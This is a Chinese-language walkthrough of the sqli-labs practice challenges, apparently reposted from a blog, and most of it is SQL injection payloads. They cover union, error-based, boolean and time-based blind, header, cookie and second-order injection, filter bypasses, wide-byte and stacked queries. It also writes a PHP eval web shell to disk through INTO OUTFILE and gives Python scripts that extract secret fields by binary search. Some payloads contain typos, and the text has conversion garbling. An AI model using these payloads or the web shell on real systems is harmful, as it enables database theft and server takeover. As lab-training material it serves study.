先列舉一下sql基礎語句php
show databases; //查看數據庫
use xxx; //使用某個數據庫
show tables; //查看該數據庫的數據表
desc xxx; //查看該數據表的結構
select * from xxx; //查找某個數據表的全部內容
select schema_name from information_schema.schemata; //猜數據庫
select table_name from information_schema.tables where table_schema='xxxxx'; //猜某數據庫的數據表
Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的全部列
left(a,b) //從左側截取 a 的前 b 位
mid(column_name,start[,length]) //從位置start開始,截取column_name字符串的length位,與substr做用相同
substr(string, start, length) //從位置start開始,截取字符串string的length長度,與mid做用相同
ascii() //將某個字符轉換成ascii碼
ord() //將某個字符轉換成ascii碼,同ascii()
Less-1html
嘗試添加’注入,發現報錯sql
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
這裏咱們就能夠直接發現報錯的地方,直接將後面註釋,而後使用數據庫
1' order by 3%23 //獲得列數爲3
//這裏用-1是爲了查詢一個不存在的id,好讓第一句結果爲空,直接顯示第二句的結果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //獲得數據庫名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //獲得表名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //獲得列名
-1' union select 1,username,password from users where id=3# //爆破獲得數據
在添加’以後,獲得返回apache
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
能夠獲得這個sql語句其實並無單引號,只是用數字進行查詢,例如tomcat
select * from users where id=1
因此咱們也能夠跟上面同樣,payloads:cookie
-1 or 1=1%23
添加’以後,返回架構
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
能夠獲得大概的sql語句:函數
select * from users where id=('input') LIMIT 0,1;
因此咱們能夠須要閉合)。post
-1') or 1=1%23
嘗試’並未發現報錯,嘗試」發現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
能夠獲得大概的sql語句
select * from users where id = ("input") LIMIT 0,1;
因此payload:
-1") or 1=1 %23
其餘注入語句同上 ,就再也不一一列舉了。
嘗試’發現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜想sql語句爲
select * from users where id='input' LIMIT 0,1;
若是嘗試以前的注入方法,會發現再也不會返回咱們注入的信息,若是注入成功的話,頁面會返回You are in...
,出錯的話就不會返回這個字符串,因此這裏咱們能夠進行盲注。
例如咱們可使用1' and left(version(),1)=3%23
這個payload進行測試,截取version()
獲得的最左側的字符判斷是否爲3,若是爲3則正常返回You are in...
,不然不返回。因此咱們能夠利用這個一步一步爆破獲得left(version(),1)=5
。爆破區間能夠肯定在/[0-9.]/
。
採用1'and length(database())=8%23
對數據庫名字長度進行爆破,肯定數據庫名字長度以後,咱們可使用database()
來進行爆破數據庫名,採用left(database(),1)>'a'
這個payload進行測試,原理跟上述一致,看返回便可,直到截取長度與數據庫名字一致爲止,這裏效率比較高的就是採用二分法進行盲注。
也能夠採用substr()、ascii()函數進行嘗試:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取數據庫下第一個表的第一個字符與80ascii值進行對比
找第二個字符只須要改爲substr('xxx',2,1)便可。
找第二個表改爲limit 1,1
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)將username轉換成字符串
//IFNULL(exp1,exp2)假如expr1不爲NULL,則IFNULL()的返回值爲expr1; 不然其返回值爲expr2。IFNULL()的返回值是數字或是字符串,具體狀況取決於其所使用的語境。
//ord前文提過
推薦一篇超詳細的講解報錯注入的文章
Mysql報錯注入原理分析(count()、rand()、group by)
超連接:https://www.cnblogs.com/xdans/p/5412468.html
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#
1' union select (!(select * from (select user())x) - ~0),2,3 --+
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
benchmark 是Mysql的一個內置函數,其做用是來測試一些函數的執行速度。benchmark() 中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
沒有回顯,可使用布爾盲注
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
能夠發現>100
有回顯,小於就沒有,也能夠用報錯注入…
這裏就是把Less-5 中的'
改爲"
就好了
使用文件導出
1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23
1'))UNION SELECT 1,2,'<?php @eval($_post[「mima」])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
可使用時間盲注,也能夠用 bool 盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
同 Less-8 可使用時間盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
報錯注入,少一列就好了
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
1') or 1=1#
成功登陸,報錯注入成功可是不回顯,能夠考慮盲注
1') or ascii(substr((database()),1,1))>100#
1" or 1=1#
成功登陸,依然不能回顯,嘗試使用布爾盲注
1" or left(database(),1)='s'#
發現能夠用updatexml
進行報錯注入
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
1' or 1=1#
成功登陸,布爾注入或者時間盲注都可行
1' or left(database(),1)='s'#
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
1") or 1=1#
成功登陸,布爾注入或者時間盲注都可行
1") or left(database(),1)='s'#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
update
注入,username
過濾了不少,有password
錯誤回顯,考慮用報錯注入
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
登陸成功後,頁面提示
Your IP ADDRESS is: 172.17.0.1
Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
那麼有多是 ip 或者 UA 注入,看了一下發現是個 Header 頭注入,這裏須要注意這是登陸成功的條件下才能觸發的,並且既然是insert
注入,須要用'1'='1
閉合後面的 sql 語句,不然就是語法錯誤了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#
登陸成功後提示
Your IP ADDRESS is: 172.17.0.1
Your Referer is: http://localhost:8081/Less-19/
因而咱們能夠知道是在Referer
應該有注入點,在 Referer 處一樣用
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
能夠注入
cookie 注入,登陸成功後修改 cookie 便可
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
登陸成功後發現 cookie 加上了 base64
YOUR COOKIE : uname = YWRtaW4=
用上面的 payload 進行 base64 編碼就好了,記得=
要 urlencode
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d
同 21 ,單引號換成雙引號便可
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d
這裏#
、--+
均被過濾了,可是咱們能夠利用or "1"="1
來閉合後面的雙引號也能夠達到咱們的目的
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
這裏是個二次注入,咱們能夠先註冊一個admin'#
的帳號,在修改密碼處咱們就能夠以本身的密碼修改 admin 的密碼了,由於修改密碼處造成的 sql 語句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
這樣#
就註釋掉了後面的 sql 語句
題目很直接,提示直接把 or
、and
過濾了,可是能夠用&&
、||
繞過
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
也能夠雙寫繞過
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23
題目提示空格與註釋被過濾了,可使用%0a
繞過,能夠盲注也能夠報錯注入
0'||left(database(),1)>'s'%26%26'1'='1
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
題目提示空格與註釋被過濾了,可使用%a0
繞過,報錯注入不出,能夠用布爾盲注
0'||'1'='1 #探測爲'
0'||left(database(),1)='s'%26%26'1'='1
白盒審計知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00
題目提示union
與select
被過濾了,可用大小寫繞過
0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1
0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
增長了"
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
union select
大小寫均被過濾,可是select
還可單獨用,盲注便可
0')||left(database(),1)>'s';%00
依然能夠用盲注
0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00
利用tomcat
與apache
解析相同請求參數不一樣的特性,tomcat
解析相同請求參數取第一個,而apache
取第二個,如?id=1&id=2
,tomcat
取得1,apache
取得2
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
與 29 架構同樣,原理一致只不過加了"
限制
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
架構同樣,多了")
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-32
注意是GBK
,能夠用%df
進行寬字節注入
0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+
uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit
堆疊注入,成功建立test
數據表
1';create table test like users;%23
1;create table test39 like users;%23
1');create table test40 like users;%23
1;create table test41 like users;%23
password
處無過濾
login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login
password
處無過濾
login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login
login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login
login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login
order by
注入
username
、password
均爲列名,因此如下須要知道列名
?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1) //order by rand(1)/rand(0)二者返回不同
?order=(select 1 regexp if(1=1,1,0x00))
將1=1
換成bool盲注的語句函數便可用於獲取數據
sort=rand(ascii(database(),1))=115)
時間盲注
sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)
Bool 盲注
rand(ascii(left(database()),1))=115)
報錯注入:
updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
procedure analyse 參數後注入
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
into outfile參數:
id=1 into outfield "path"
上傳網馬,能夠在後面加上lines terminated by 16
進制轉碼的數據
有'
,能夠用報錯
1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
也能夠用時間盲注
1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
procedure analyse 參數後注入
1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+
堆疊注入
1;create table test50 like users;%23
1';create table test51 like users;%23
1;create table test52 like users;%23
1';create table test53 like users;%23
若是沒有點提交按鈕將會進入下面的else語句,有過濾,顯然突破口在上面。若是點了提交將會setcookie,而後看到有個GET
提交的id參數,而後有個更新數據庫操做,這裏限制了10次請求次數,不然更新數據庫。
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查庫
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查數據
這個題限制了請求14次,不過當測試出閉合狀況以後後面就一切順利了。
先嚐試閉合
http://192.168.211.145/sqli/Less-55/?id=1'%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1')%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正確
嘗試以後發現是用)
閉合
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23
這幾關都差很少,首先也是嘗試閉合
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功閉合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23
這關是雙引號閉合的
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23
查詢以後並無返回查詢數據庫當中的數據,不能使用union聯合注入,可是有報錯回顯,可使用報錯注入。
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
SQL語句:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
接下來幾關要在130次內完成盲注。只不過有次數限制,很明顯不能去爆破
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23
寫腳本跑出數據庫名字:
# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,11):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num
跑字段的腳本
# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,25):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num
這關跟上一關同樣,惟一的區別在於須要使用單引號閉合
再也不贅述!
這關跟上一關同樣,惟一的區別在於須要使用括號閉合
再也不贅述!
這幾關性質都同樣,只不過閉合語句不一樣,再也不贅述
SQL語句:
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
參考來源:p0desta&zeddyu的博客
做者:p0desta